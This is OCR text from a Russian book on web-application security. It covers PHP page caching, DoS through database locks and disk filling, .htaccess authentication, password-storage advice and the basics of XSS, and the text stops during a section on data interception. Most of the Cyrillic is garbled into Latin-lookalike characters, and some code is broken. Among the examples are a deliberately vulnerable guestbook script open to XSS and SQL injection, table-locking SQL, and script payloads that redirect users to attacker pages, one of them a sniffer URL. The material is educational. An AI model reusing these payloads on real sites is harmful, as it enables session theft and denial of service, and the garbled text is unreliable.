HeoOXOOUMO COXPaHWUTb COAEpPKUMOE creHepupoBaHHOH Web-CcTpaHHUbI, KOTO-
Pyl0O MOXHO IIOJyYHTb C TOMOLUBIO ob_get_contents. Jlnd COXpaHEHHA K3lla
B HalleM clueHapHH co3daHa (QyHKUHMA WriteCache. EH HyXHO mnepeaatb WMA,
10 KOTOpPOMY omnpenenserca uMa ¢aiina kawa. Bropo# mapamerp — 310 AaKHble,
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kotopuie OymyT 3anucaHbl B ¢aiin. B Hawem cnydae 3to pesynstat QyHKUHH
ob_get_contents.

[locne co3panus daiina U3MeHsAIOTC ero npasa gocryna Ha 0777, 4To cOOTBETCT-
BYET MpaBaM, NPH KOTOPBIX AOCTYN k (aiiny paspellieH Bcem:
@chmod ("cache/$CacheName.htm", 0777);

3arpysuTe ¢ momMoulblo Hpaysepa 3TOT cueHapHii U nonpobyitre 06HOBUTD. [locne
o6HOBNEHHUA BHU3Y Bbl yBHOKTE coobuieHue o ToM, yto Web-cTpaHuua B3aTa U3
KawWwa.

Ecau BbI pelliMTe HCII0AB30BaThb 3Ty 3arOTOBKY B CBOMX MPOEKTax, TO [EpEHe-
cuTe PYHKUHH ReadCache U WriteCache B OTAEAbHBbIH MOAYy/b W MOAKIIOYANTE
C NOMOLIbIO GYHKUHH include.

3aroToBka AEHCTBHUTENbHO yAoOHas. EciM HyXHO co3naTh €ue OOHY CTpaHHLYy
Web-caiita, HanpuMep, KOHTaKTOB, TO €€ KOoA OydeT BHLIrNAmeTb CAEAYIOLIHUM
obpazom:
<?

include(' func.php'):

// OcHOBHOI kon Web-cTpaHnuul

if (ReadCache("Contacts"}==1)

exit;

ob_start();

print ("<CENTER><B>KoHTakT< /B></CENTER>") ;

print ("<P>Uroflu cBA3aTLCA cO MHON: horrific@vr-online.ru");
WriteCache("Contacts", ob_get_contents());

ob_end_flush();

?>

B navane cueHapus noaxntovaerca daiin func.php, B koropom gomkHb 6bITH pea-
nu30BaHbl QYHKUMH ReadCache U WriteCache.

Yrobul Bawr cueHapuit 6bu1 6e30nacHbIM, HENb3A aenaTh Tak, uYTOOBI MMONb30BA-
T€Nb CMOT MMOBAYATL HA UMA NMEpPeIaBaeMOro 3Ha4yeHUs B (PYHKUHH ReadCache
U WriteCache. MHaye xakep CMOXeET 4UTaTh (paiinb ¥ nepezanucuiBaTh UX. B Ha-
LIEM NpUMEpPE UM nepefaeTcs XecTko, 6e3 kakux-Tub0 nepeMeHHbIX U MPH 3TOM
nepeaaerca Oe3 paciuvpenus. PacuupeHue ¢aiina v nyre mobasnsiorca npo-
rpamMuo. Ecnu Hazsanue Web-cTpaHuub! e€llle MOXKHO BLIHECTH B MEPEMEHHYIO U
NMO3BONUTH MOAL30BATENIO BAHATL HA Hee, TO MYTh U pacillipeHHe AOMKHBI 106aB-
AATbCA K vmeHu ¢aina nporpammuo. [lepegaya nosHoro nytv B QyHKUHH
ReadCache M WriteCache AofHa ObITb 3anpewesa, anda 4ero ¢ noMoubo pery-
JAAPHOro BhIpaXKEHUs CAEAYeT Bbipe3aTh U3 napaMeTpa OnacHbIC CHMBOJBI.
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C nomowpio K3mupoBaHna Web-cTpannu Bbl MOXKeETE peaibHO NOBBICHTH CKOPOCTD
paboTh! cLueHapus, HO Bbl TepseTe BO3MOXKHOCTD co34arh Web-caiit, OpHeHTHPOBAaH-
HbId Ha MOJNL30BaTeNf. B 3TOM ciydae TPyAHO peain3oBaTh BLIGOp pacuBETKH,
HacTpOiKH oTOOpakeHHA onpeacneHHblX udacted Web-cafita HHAHBHAYANLHO
KOKIObIM T01b30BaTeneM (Hanpumep, B 3aBUCHMOCTH OT MpeANOYTeHHH, JaTh BO3-
MOXXHOCTb BbIOMpaTh HyXHble KaTeropuH HOBOCTEH ana otobpakeHus). Peannso-
BaTh MoaoOHOE ¢ NMOMOIWUBIO K3WHPOBAHUA NOCTATOYHO CJIOXKHO, & €CIH W BO3-
MOJKHO, TO 3 (EKT OT €ro UCIoNb30BaHHA YMEHbILAETCA Ha CTOJIBKO, YTO OBYHHKA
BbIAEAKH HE CTOMT.

8.4. bNokupoBku

Kak ewe xakep moxer nmpoussectd DoS-ataky? Ecnu Ha Web-caiite HaiineHa
ownbka, no3sonaias peanuizobatb SQL-UHBEKUMIO, TO Xakep MOxeT chopMH-
poBatb cobcTeeHHblit SQL-3anpoc, koropwlii 6yner Harpyxartb cuctemy. Y Kaxk-
noit CYB]] ecTb 3anpochy, BLINOAHEHHE KOTOPLIX TpeOyeT 3HAYHTENILHOrO MPoLec-
copHoro BpemeHd. Hanpumep, ans Oracle 3to npocMoTp Tekymux 610KHpOBOK;
SELECT *
FROM v$lock, vS$session
WHERE v$lock.sid = v§session.sid

and v$session. username = USER

Ecnu y Web-cepsepa ectb 3a6A0KHPOBaHHbBIE PeCypChl, TO BbHIOJHEHHE TaKOro
SQL-3anpoca MOXET OTHATb OYe€Hb MHOTO BPEMEHH. A MOXKHO camMoMy 3ab/i0Kku-
poBaTh Bce 3anucH M Toraa Web-cepsep He CMOXET NMpOH3BOAWTL OOHOBMEHHE
OaHHBIX, HANpuMep, Bce B ToM xke Oracle ana 3toro aocrarouHo BbINOAHKUTL SQL-
3afnpoc:

SELECT *

FROM vmsa_Tralimus

FOR UPDATE

Takum o6paszoM, ycTaHOBMM GNOKMPOBKY Ha BCe 3amMCH M3 Tabauubi, U ecnH
y JpYr4x nojib3oBaTesneii 3anpoch! BLITOAHAIOTCA 6€3 OnuUuK NO WAIT, TO OHH Oy
AYT 3aBUCaTh B 0’KUIAHUH CHATHA 6IOKHPOBKH.

Bnokuposku ectb ¥ B CYBJ] MS SQL Server. Ouu ectb Be3ae, rae ecTb noaaepkK-
Ka TpaH3akuui, HHade U ObITh He MOXKEeT. MokeT M ecTh Kakoi-TO BapUaHT H3ME
HeHus HaHHbix 6e3 6I0KUPOBOK, HO A O HEM HE CJbiLLa.

Tyt Heob6Xx0oanMMO YUHTHIBATh, YTO Kaxknaa CYBJI no-pazHomy pabotaer ¢ 610ku-
poBkamu. HekoTopbie 3anucH 6A0KUPYIOT naHHble LenbiMH 610KaMH WM Jaxe
tTabnuuamMy. Hanpumep, eciu M3MEHAETCS TOALKO OAHA CTPOKA B OINpEAENEH-
1o# cTpanuile JaHHbIX, To OOKHUPYIOTCA BCe 3anucH 31Ol crpanuubl. Oracle, ecinu
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HE yKa3aHO Hpyroro, 6JIOKMpYeT KakARYyio 3aruch B OTaeNLHOCTH. FIMeHHO no3To-
MY ofipeziesieHHe 6IOKMPOBOK TpebyeT 3HaYHTENbHBIX PECYpPCOB.

Kak g yxe ckasan, mobas CYB]] umeer cnaboe mecTo B BUAE 3aAa4H, BHINTONHEHHE
koTOpoit Tpebyer 3HauuTenbHbIX pecypcoB. Ecniu Web-cepsep 1 CYB]l Haxonsarcs
HA OJHOM (H3UYECKOM CepBEpe, TO 3TO elle BoNbile YCIOKHHT 3a4a4y M0 3aLIUTe
OT JaHHO# aTakH.

8.5. [Ipyrue pecypchbl

INpoueccopHoe BpeMa — He eJHHCTBEHHOE, YTO MOXET MOBIHATL Ha paboty Web-
cepsepa. OH MOXeT nepectatb paboTaTh W IPU OTCYTCTBUH AOCTATOYHOrO AHCKO-
BOTO NMpocTpaHcTBa. BOT TyT cHOBa BO3HMKaeT npobiaeMa BO3MOXKHOCTH 3arpy3ku
¢aiinoB Ha Web-ceprep. Xakep MoxeT 3arpy3uTh CTONbLKO ¢aiinos, 4To BCe Mpo-
cTpaHcTBO OyAeT 3amOIHEHO, M MPHEM HOBBIX JAHHBIX CTAHET HEBO3MOXHbIM,
Beb UX Herae OyAer cOXpaHUTb. DTO OfiHA U3 [IPHYHH, NO KOTOPOH MHOrHe npo-
rpaMMHCTBl CTPEMATCA OrpaHHUYMTb pasMmep 3arpykaembix (Qaiinos. Hem mewblue
BO3MOXKHBIH pa3Mep 3arpyxaemoro ¢aiina, TeM 6osblue HYXHO IIPHAOKHTb YCH-
nuii, 4ToObI 3aNONHUTL BCE AWCKOBOE MpocTpaHcTBo Web-cepBepa. A ecnu eme
caenaTh OrpaHHYeHHE Ha KONMYECTBO 3arpy30K OT OIPEAE/IEHHOroO Mojab30OBaTes
unu IP-aapeca, T0 BO3MOXHOCTb ycIiexa TaKoii aTaky 3HaYUTEAbHO YMEHbILIAETCS.

Ho ¢afinb He eAMHCTBEHHOE, YTO MOXKHO 3arpyxartb. Ecin ectb GopyM, TO MOXKHO
HanucaTh MporpaMMy, Kotopas B UUKkie OyneT oTnpaeaaTh coobLueHHUs, conep-
xauue bonbliyio coseTckylo sHUHKIoNeAnt0. TakuM o6pazom, MOXKHO 3aMOTHHTE
Bce ceobonHoe npocrpaHcTeo CYBJI u noab3oBaTeay HE CMOTYT OCTaBAATL HOBBIE
coobuienus, a Hekotopsle CYB I npu HexBaTke AUCKOBOrO MpOCTpaHCTBE BoOOLIE
nepecraHyt paboTaTh.

CeoGoaHoe OUCKOBOE MPOCTPAHCTBO HEOOXOAMMO HE TOJAbKO HAHHBIM, HO W XKYyp-
Halam TpaH3akUWi W )xypHanam Web-cepsepa. Ecnu atoro npoctpasctsa He Oy-
aet, To pabora Moxer ObITh HapyweHa. UMeHHO No3TOMY >kenaTenbHO caenaTth
OrpaHH4YeHHs Ha pa3Mep cooOlieHWH M Ha (opyMmax, U B rOCTEBbIX KHHrax,
H B JIOOBIX APYTrHMX CLEHapHsX, KOTOpbie MOAY4alOT AaHHbie OT IOJb30BaTelI.
Hanpumep, naxe yepes npocTylO NOANKCKY HA HOBOCTH MOXHO NepenoaHuTh 6asy
AaHHbIX 6eCCMBICIEHHBIMH aJpecaMy IeKTPOHHON novThl. J{a, 3T0 yxe ClOXHEe,
HO TIpH JOJIXKHOM CTapaHHH BO3MOXHO BCe.

I/lTaK, MPH NOJYUYCHHUH A0ObIX JAHHBIX OT NMOJL30OBATENA H rnepen COXpaHCHHUEM HUX
B 6a3e maHHbLIX Heo6X0AUMO pe€ann3oBaTh CACAYOWHE ABE NPOCTLIE NPOBEPKH.

(0 Henb3s NpUHMMATL OT OQHOrO NMOAb30BaTens 6onaee oaHoro coobuieHus 3a on-
peaeneHHbIll npomexyTok BpemeHd. Hanpumep, Ha dopyMe Takol npomexy-
TOK BPEMEHH J0/KeH ObITh HE MeHEE 2 MUHYT;
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O Heo6X0AUMO NPOBEPATH pa3Mep NONyHaeMbiX JAHHBIX Mepes HX COXpaHeRHeM.
Hanpumep, mone ais xpaHeHHa aapeca MEKTPOHHON MOUTHI WK HMEHH mOJb-
30Barens MokeT ObITh orpaHHyeHHbIM pasmepoM mond B SO cHMBONOB, & BOT
none Als xpaHeHHs coobiieHus Ha GopyMe MOXKET UMETb THIT TEXT (WAH Apy-
ro#f Tum, B 3aBUCMMOCTH OT 6a3bl AaHHbIX). B Hero noneszosarens MOXkeT 3arpy-
3UTh AOCTATOMHO 60JibllIOe KONMUYECTBO AAHHLIX, U OrpaHHYeHHe Ha 3TU JaH-
Hbie MOXeT OniTh OueHb GONBLIIMM, KOTOpOe ONATH K€ 3aBUCHT OT 0assl
navHbix, Onpenenurte Gonee pasymubiii npenen. Hanpumep, ansa coobetns Ha
¢dopyMe BronHe Moxet ObiTh gocTarouHo 5000 cumBoONOB.

Hmes orparunuenne B 5000 cuMBONOB, M €ciK pa3pellieHO OCTaB/IATL BCEro OAHO
coobleHre B ABe MUHYTbI, OAWH Xakep O6yJeT OveHb JOAT0 OTIpaBIiATh coobuie-
HUSA B HAAEXKIE MEPENONHHTL AUCKOBOE NPOCTPAHCTBO cepaepa. [lna ynauHo# ara-
KH TYT yXe MOoHagoOMTCA COTHA, @ TO W ThicAYa XakepoB MM OAWUH XaKep
c OonblIOH ceTbi0 M3 mosb3oBaTeneil "3ombu". 1o nonbiosaresu Hutephera,
KOMMbIOTEPbl KOTOPbIX MOABIACTHbI XaKepy, U OH MOXET UCMOAbL30BATb MUX A
peanu3aunu CBOMX 31biX miaHos ¥ DoS/DDoS-arak.
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ABTOpU3auun

ABTOpH3aUMIO MBI paccMaTpuUBaeM B 3TOH KHHMre ANA NOHMMaHHUA TeHHANbLHOMH
1 oueHb omnacHoi arakd — XSS (Cross Site Scripting, MexcafiToBbii CKpUIITHHT).

O6Hosnats HHGopmanHuio Ha Web-caiite uepes FTP-kiueHT ¢ MOMOLLBIO 3aKauKH
HOBbIX (aiinoB HOCTATOMHO HEYAOOHO W He Bceraa BO3MOXKHO, HarpuMep, MHE
npuxoauaoch paborath B ceTaX, rae Aoctyn B MHTEpHET OCYLIECTRIANCA TONBKO
no HTTP. MUmenHo Torma s 3agymaics O cHCTeME aAMHHHMCTpHpoBaHUA Web-
caiitoB nocpeacTsoM Web-unrepdeiica.

CueHapuH aAMHUHUCTPHPOBAHUS MO3BONIAIOT YTIPABIATb COAEPAHMBIM Web-cTpasuL,
NO3TOMY HOJXHbBI ObITh 3aKPbIThI OT MOCTOPOHHEro B3rnaAa. Jlng atoro Heobxo-
A¥Ma OTAeNbHAA 3alMTa, KOTOpas MO3BOJIMT BaM CIIATh CIIOKOHHO U He AaCT Xake-
PY BBITOJIHHTDb [IPUBHAETHPOBAHHbIE OnepaulH. B kauecTse Takol 3a1MTBI MOXHO
UCIONb30BaTh CPEACTBA AYTEHTHOUKALIMH.

ABTOpH3aLMA HY)KHA HE TONBbKO aAMUHHUCTPATOpPaM, HO U MOAB30BATENAM, YTOOLI
OHU MOTJIH NOAbL30BaTLCA ONMPEACACHHBIMU NIPHBUAETUAMH. 3aperucTpUpoBaHHbI-
MH T10/1b30BaTeAAMH TIPOILE YNPABAATh U KOHTPOAUPOBaTh MX nelicTBHA. FiMeHHo
IO3TOMY Ha MHOTHX ()OpyMax pa3pellaercs OCTamRJIATb COOGIIEHHUS TONbKO TAKHM
IO/Ib30BATEAM.

9.1. AytentTudchukauusa Ha Web-cepBepe

Ecnu kakas-nubo aupektopus Web-cepsepa nosmkHa UMeTb ocobbie mpapa A0-
CTyna, To MOXKHO co3aaTh B HeH ¢aiin .htaccess. B stom ¢aline onuceiBaioTes
paspeuieHys, AEHCTBYIOLIME HAa AHPEKTOPHIO, B KOTOpOIi OH pacnonoxeH. IpH
oOpaiwenud K nrobomy daiiny U3 nanHoli aupektopun Web-cepsep Gyner Tpe-
6osaTb ayreHTudHKauuu. [a, ayreHTudukauuu 6yaet TpeGosath umerHo Web-
cepsep, 10YTOMY OONOTHUTENbHBIC cLcHapud He notpebytores, Takum ofpaiom,
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Bbl MONyYaeTe B CBOE pacnopakeHue 3P PeKTHBHBIN KU OTIaXKEHHBIH rojaMy MeTol
obecnevenus 6e30nacHOCTH KOHPUACHUHANBHBIX JAHHBIX.

PaccmoTpuM npumMep colepxumoro daiina .htaccess:
AuthType Basic

AuthName "By Invitation Only"

AuthUserFile /pub/home/flenov/passwd

Require valid-user

B nepBoii cTpoke 3ajaercd THN ayTEHTHPUKALUMH C NOMOLUBIO JAHPEKTHBLI
AuthType. B naHHoM npumepe ucnonbsyerca 6asosas ayreHTHHKauus (Basic),
B 3TOM cay4yae Web-cepeep npu obpalieHud K AUPEKTOPHH OTOOpa3UT OKHO AN
BBOAA MMEHH M mnapods. TeKCT, yKa3aHHBi B AUPEKTHBE AuthName, MOABHTCA
B 3arofoBke okHa (puc. 9.1).

Connect bo www wi-onhine. 1ty

Puc. 9.1. OkHo 3anpoca MMEHU U Napons

JvpekTuBa AuthUserFile 3ajaeT UMA ¢aitna, B KOTOpoM HaxoauTcs 6asa UMeH
u napoaeH monb3osatened Web-caitta. O Tom, Kak co3aaBath Takoi ¢aitn u pabo-
TaTb C HWM, Mbl NOroBopuM nodxe. [locnenHsas QUpekTHBa Require B Ka4ecTBE
napameTpa HCNoib3yeT 3HaueHHe valid-user. JTO 3HAYMT, YTO (Palabl B TEKyLIEit
AWPEKTOPUH CMOTYT OTKPbITh TOALKO Te MOJb30BaTeNH, KOTOPbIE MPOLITH ayTeH-
THPHUKALIKIO.

Botr TakuM mpocTeiM cnocofomM MOXKHO 3afperuTh HEaBTOPU3OBAHHBLIA AOCTYM
K JIYPEKTOPHH, COAEpKalIeH ceKkpeTHbie AaHHbIe WK CLEHapHH aAMHHHCTpaTopa.
Bonee noapobuyio nudopmauuio 06 37om MeToae aBTOpH3aLUH MOXKHO Y3HATb M3
kuur "Linux raasamu xakepa” [2] unu "PHP rnasamu xakepa” [3].
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9.2. CobcTBEeHHas cucrtema ayteHTUukauum’

QOueHb 4acTO HCIONL3YIOTCA COOCTBEHHBIC CHCTEMbl ayTeHTHHKauuH. B 3TOM
pa3aene Mbl pACCMOTPHM HECKOJILKO COBETOB II0 HX peaM3aLUH.

Hukoraa He XpaHHTE NApONH B OTKPLITOM BUM/E HH B 6a3e JaHHbIX, HY Ha JIOKANb-
HOM KOMMbIOTEpe nonbiosarens (B suae gaitnos Cookies). O ToM, 4TO XpaHeHHe
maponiel Ha JIOKaNbHOM KOMIIbIOTEpE MoJib3oBarens He Ge3onacHo, AOIKEH 3HATD
Kaxablid. YyTb mO3KE MBI paCCMOTPHMM OAMH W3 pacnpoCTpaHEHHLIX crocobos
BOPOBCTBA [ONb30BATENLCKUX AaHHbIX — XSS, HO He cToMT 3abbiBATL W Npo
KJIACCHKY B BHJ€ TPOSHCKUX MPOrpaMM WIH NIPOCTO yA3BUMOCTH B Opay3epe Mmonb-
30BaTeN .

Xpauenue naponeit Ha Web-cepsepe Taroke He 6ezomacHo. Ecnu xakep Haiiger
YA3BUMOCTb, [TO3BOJAIOIYIO peanu3oBaTh SQL-HHBLEKLMIO, TO OH CMOXET MoJy-
YUTb U3 TAOJNML Balll MApOAb H HE3AMETHO MOJb30BAThCA IIPaBaMH aAMHHUCTPATO-
pa. Ecnu naposnb XpaHuTcs B 3aiud(poBaHHOM BHOe, TO nNomodpaTb €ro MOXKHO
ToAbko nepebopoM. Jla, Xakep MOXET BHECTH HOBYIO 3anuch B Oa3y naHHBIX
¥ OaTh e npaBa agMHHUCTpaTopa (YCTAHOBHTb ONPEACACHHbIH NPH3HAK), HO 3TO
6yner caviukoM 6pocatbed B ria3a W agMUHHCTPATOp OBLICTPO YBMAMT, YTO MpO-
H30LUeA B3NOM. -

B cny4ae xpaHeHHs naponeii B 3aiuM(poBaHHOM BHAE ayTEHTH(UKALMA TTPOUCXO-
OUT OOCTaTO4HO mpocTo. [lonyuus UMA MoAb30BATENA U 11APOJb, IHUDPYEM NTAPOIHL
¥ CPaBHHBAEM C y)Ke 3alu(poBaHHBLIM BapHaHTOM K3 6asbi AaHHbIX. Ecau tundph
COBIIAAAIOT, TO ayTEHTHQUKALMUA NPOLUAA YCIIELHO.,

Bsoauth maponb mpH Kaxxaom Bxoae Ha Web-caliT He ouyeHb ymoOHO, MoaToMy
’KenarenbHO cleaTh BO3MOXHOCTb aBTOMaTH4eckoro sxoaa. Jlna storo Heobxo-
AMMO BCETO JIHIIB COXpaHUTh UMA U napojib B Cookies. [1pu Bxone Ha Web-caifr
3Ty JaHHbIE CBEPAIOTCA C COACPIKUMBIM 6a3bl, U €CJIH OHH KOPPEKTHBI, TO NMOJb30-
BaTeAb CuuTaeTca aBTOpH3oBaHHLIM. Ho daitnm Cookies Moryr 6biTh YKpaAeHsl,
No3TOMY NIOMUMO HMEHH W NapoAs MOXHO COXPAHATH €lle CAY4aiiHO CreHepHpo-
BaHHBIA kox Oe30mMacHOCTH. DTOT KOA AO/DKEH MeHepUpoBaTheca (C COXpaHEHHEM
B 6a3ze maHHbIX) U MPOBEPATLCA PH KOKAOM BXoAe. J[OMyCTHM, YTO XaKep YKpan
daiin Cookies, Ho ecnn koa 6e3onacHOCTH ycrapen, To Bxod 6yaer HeBO3MOXKHBIM,

MoxHo Boobuie He coxpaHaTh UMa W maponb B Cookies. B 3ToM caydyae ans pea-
NMU3auuM aBTOMAaTH4YECKOro BX0/Ja MOXKHO ONATh XK€ reHepHpoBaTth koA 6e3onacHo-
CTH ¥ COXPaHATb Ha KOMMbIOTEpe Nojib3oBaTeNs umeHHo ero. Torma npH Bxoae
AOCTaTOYHO IMPOBEPUTh, 4TO KOA 6e30MacHOCTH COOTBETCTBYET COXPAHEHHOMY
B 6a3ze maHHbIX. Koa HY)XHO reHepHpOBaTh 3aHOBO MPH KaXKIOM BXOAE, TOTAA, Al-
)K€ €CNY XaKep NepexBaTUT ero, TO He CMOXKET UM BOCIMOAb30BaTLCA, T. K. KOA YXKe
OGyner ycrapeBLIUM.
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A Kak e peaM30BaTh BO3MOXHOCTh BOCCTAHOB/ICHHS NApOif, EC/IH B OTKPHITOM
BHAC OH HE coxpanserca B Oase naHHBIX? A HHKak. [To 3anpocy Ha BoccTaHoBue-
HUS Naposis HeobxoauMo:

O 3anpocHTb afipec NEKTPOHHON MOYTH NOJIB30BATENS,

O HaiiTi 3anuch B 6a3ze NaHHBIX, COOTBETCTBYIOLLYIO JAHHOMY aApecy;

O creHepHpoBaTh HOBLIHA NAPO/b, BEAb MBI HE MOXKEM ONPERENINTD TEKYLIHH;

O BbICIAaTH HOBBIHA APO/L NMOJL30BATENIO HA aApec, yKazaHHbIH B 0ase JaHHBIX.

[Mocaenuuii mMyHKT oueHb BaxxeH. Hesb3g HckaTh B 6a3e 3anuch 418 OQHOrO aapeca
NEKTPOHHONW MOYTHI, & BBICHUIATD €ro Ha Apyroi. Eciid BOCCTaAHOBNIEHHE HACET NO
MMEHH MOJIb30BATEJIA, TO BLICHUNATL HOBBIA Mapoib HY)KHO Ha anpec, yka3aHHbIH
B 6a3e AaHHbIX.

Hukorna He peanusyiite BO3MOXHOCTb ABTOMATHUYECKOro BXOJia B MIaHE/Ib aAMH-
HUCTpHpOBaHHA. HukakHe KOABI 6€30MaCHOCTH HE MOTyT 3alMTHTL JaHHble OT
nepexsara. Ecin xakep ykpaaer Cookies, To BbI MOXeTe NOTepATb KOHTPOIb HaA
CLIEHApUAMH aAMHHHUCTPUPOBAHHA.
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B nocnenHee BpeMs O4e€Hb MHOIO pasroBOpOB ObUIO O TOM, HYXHBI JH dalnb.
Cookies unu ner. Jla, oy nosponsior coxpauatb Web-caitram undopmauuio Ha
KOMIBIOTEpE MOAL30BATENA H [OTOM HCHAONBL30BATH €€ I MPEOCTABICHUN
nepcoHaANH3NpoBaHHOTO conepkumoro Web-ctpauuu. B 2aase 9 Mbl yxe BHae-
7Y, ¥TO OAHHUM M3 cnocoboB ucnonb3osaHua Cookies sBnserca xpaHeHue HMEHH
MONB30BATENA H NAPOA ANA OCYLIECTBREHHUS MOCNECAYIOEro aBTOMaTHYECKOrO
BXOAa.

B GonbuuHcTBE CiyuaeB 310 oueHb ynobHo, HO paneko He GesomacHo. MeHs He
BoAHYyeT, 4To Web-caltThl MOryT coxpaHaTs B Takux (aitnax HHGOpPMaLMIO O TOM,
kakHe Web-cTpaHHUbI A MpOCMaTpHBAN M YeM i HHTEPECYIOCh. DTy HHPOPMALIMIO
MOXKHO coxpaHuTb M 6e3 Cookies. MeHs BoHYyeT T0, 4TO 3TH AaHHbIE MOXET YBH-
netb xakep. OnuH w3 cnocobos BoposcTBa — araka XSS.

Ana peanvsauuu 3ToH arakM Xakepy HeobOxomuMbl 6a3oBble 3HaHMA A3BIKA
JavaScript. 31oT A3bIK OYEHBb NMPOCT U HA nepBbiif B3rNAR abcomoTHo Gesobuaen,
IOTOMY YTO HE MMeEeT OOCTylla K pecypcaM KoMmmbtorepa. EAuHCTBeHHOe, wTO
MOXHO JieNaTh ¢ MoMollbio JavaScript — ynpaenate 6paysepom, HO AJis xaKkepa
3TOro pocraroyHo. InasHoe — BHenputh cBo# JavaScript kox B Web-crpanuy,
a Janbiue y)ke AcHCTBOBATL MO CHTYAUUU. A CHTyaUuH ObIBatoT pasHble, HX H3Y=
YeHHeM MBI H 3aiiMeMcs B 3TOH riase.

10.1. OcHoBbI XSS

Onatb ke, Bce NpUMEPH! CLiEHapHEB B 3Toi riaee OynyTt npuseaexsl Ha PHP. [o-
yemy? [loBTOpIOCH: MPOCTO 4 ero ay4ite 3Hal0. Ho 310 He 3HAYMT, YTO ecu cye-
Hapuil HamvcaH Ha APYroM fA3biKe, aTaka OyaeT HEBO3MOXKHOIA.

Yaule Bcero XSS noasepxenbl Web-caifThl, B KOTOPBIX MCIONB3YETCA AYTOH=
THHUKALKS DOCPEICTBOM AaHHbIX, xpaHamuxca B Cookies, U ecTb BOIMOMHOOTS
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COXpaHATh HAHHbIE, KOTOpble B JanbHeieMm 6yayr orobpaxatbcs Ha Web-
crpaHuue. SpkuM npumepoM takoro Web-caitra asnserca gopym. [asaiire pac-
CMOTPUM npocTeffluuii NpUMep HKCIOAb3OBaHUA ya3BUMOCTH. B nucruure 10.1
MpUBEAEH KOJ CLeHapUa, KOTOpbIH oTobpaxkaer ¢opmy 4718 BBOAA HMEHH FIONb30-
BaTed U TekcTa coobimeHus. [TomyuenHble AaHHbIE COXpaHAIOTCA B 6a3e maHHbIX
1 otoOpaxalorca Ha Web-ctpanuue. [lomydaercs wiaccHueckas rocTesasl KHUra.

LIMCI NS

<HTML>

<HEAD>

<TITLE>XSS test</TITLE>
</HEAD> »

<BODY>

<center><h3>XSS test</h3></center>

<hr> .
<form name="messageadd" action="xss.php" method="get">
Mma: <input name="username" size=50>

<BR>Coofiuenue: <textarea cols="65" name="message" rows="10"
wrap="virtual"></textarea>

<BR><center><input type="sulmit" value="Send"></center>
</form>

<hr>

<?

// CoemmHenue c Gas0¥t RaHHLIX

mysqgl_connect ("localhost", "root", "test")
or die ("He Mory nomowmumThCsa K Web-cepeepy"):
// BHCGOpP 0ash OaHHHIX

mysql_select_db("minib")

or die ("He mory BuOpaTh Ba3y OaHHEX");

// DoBaensiem coollleHne

if (isset($_GET['username']))
{
Susername=5$_GET|['username'];
Smessage=5_GET[ 'message'];

$result=mysql_query("INSERT INTO minibbtable_posts VALUES (NULL, 1, 1, 1,
‘Susername', 'Smessage', 1, 1, 1)");
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// OrobOpaxaem cooOmeHMA U3 OGasm

$result=mysql_query("SELECT poster_name, post_text FROM
minibbtable_posts");

if (mysql_num_rows(S$result)>0)
{
print ("<table width=100% border=1>");
print ("<txr bgcolor=\"#AAlBlB\">");
print ("<td><font color=\"#FFFFFF\">User</font></td>");
print ("<td><font color=\"#FFFFFF\">Message</font></td>");
print("</tr><tr>");
// TonyuyaeMm pesysikTar 3anpoca
while ($line=mysql_fetch_array{(Sresult, MYSQL_ASSOC))
{
print("<cr>");
print ("<td>$line[poster_name]</td>");
print("<td>$line([post_text]</td>");
print("</tr>"); .
}
print ("<table>") ;
}
?>
</BODY>
</HTML>

He 6yneM ceifuac o6pawiaTe BHUMaHWE HA TO, YTO B CLEHAPHUM eCTh ele U ownb-
Ka, 1M03BoAsAIoLas peanuzoBaTh SQL-UHBEKUMIO, Belb NOAy4YaeMble OT I10J/1b30Ba-
TeAs JaHHbIE HHKaK He fpoBepsaoTesa. Hac celivac HHTepecyeT COBEpLUEHHO ApYroe.
Hrak, ecnv monab3oBaresb MPOCTO OCTABASET TEKCT COODLIEHHA, TO HUKAKHX HpO=
6nem HeT. A 4urto, ecnu B TekcT coobuieHus 6yaer scrpoen JavaScript-kon? OH Gy«
A€T BBINONHEH, @ 3TO Cepbe3Hasd yA3BHMOCTD!

[Tonpobyem nepenathb B TeKCTE COOOLIEHHA HNIH UMEHH NONb30OBATEASA CTPOKY:

<script>alert ("This is a test")</script>

Dta cTpoka asaserca JavaScript-kogoM, KOTOPbIH BbIBOAMT Ha 3KpaH AUANIOrOBO®
oxno ¢ coobiuenunem "This is a test” (puc. 10.1).
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Puc. 10.1. OxHO Gpay.raepa ¢ coobieHnem

[Toka HUYEro CTpaUIHOro He MPOM3OULIO, HO NPEANOCHUTIKH ONAaCHOCTH YX€e eCThb.
[lepeoe, 4TO MOXXET HATBOPHTb XaKep — clenaThb NepeHanpaBieHHe Ha CBOIO
Web-crpauumy. [ns sroro B Tekcre coobuieHus ortnpasum  caeayrowmi
JavaScript-kon:

<script>

document.location.href="http://www.vr-online.xu"

</script>

Tenepb npu 3arpyske Web-crpanuust nosib3oBatens Oyaer nepeHarpasiieH Ha
Web-caiiT, yka3aHHblit xakepoM. B naHHoOM ciyyae — www.vr-online.ru.

Kak 310 MOKHO HCMONBL30BATh B KOPLICTHBLIX tensx? IloMumMo Toro, 4to xakep no-
nyuaer TpadHk ¢ uyxkoro Web-caiita, OH elle MOxeT YkpacTb U napond. g sro-
ro MOXHO co3nath Web-cTpannly, kotopas Oyzaer komueil OJHOW H3 CTpPaHHL
Web-caiita, Tpaduk ¢ kotoporo Bopyerca. Jlyuue 6yaer cozpate Web-ctpannuy
perucTpauMd W MNOMPOCHTHL NONL30BATENA BBECTH MMA M napoib 3anoso. Jns
npaBaonogobHOCTH MOXHO n06aBuTL coobuwenue o6 owubke, kak Gyaro mpo-
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n3owen cGoil apropwzauuu. Huvero He nogospesatontuii monusosarens bsener
naxHHble, koTopbie 6yayT coxpaHennl B 6a3e nauHbix xakepa. [Tocae sroro cneayer
nepeHanpaBHTs fob3oBarTens ofparHo Ha Web-cailT, oTKyaa oH npuiuen.

10.2. MNepexBaTbiBaeM AaHHbIe

Hrak, paalire ceiiyac mocMOTpUM, KaK XaKep MOXET NEepeXBaTHTL JaHHbIE MOMb-
3oBatens. Hanpumep, pomycTum, 4To Xakep nobGaBHT Ha GOpPYM HIH rOCTEBYIO
KHUTY cheaytowmuit JavaScript-kon:

<script>

document.location.href="http://192.168.1.5/sniff.php?test”

</script>
DroT Kop NepeaapecyeT Hac Ha Web-crpanuly http://192.168.1.5/sniff.php,
a B KavecTBe MapaMeTrpa AJis MnpuMepa fepefaeTcs cnoeo “test”. Cueuapuﬁ
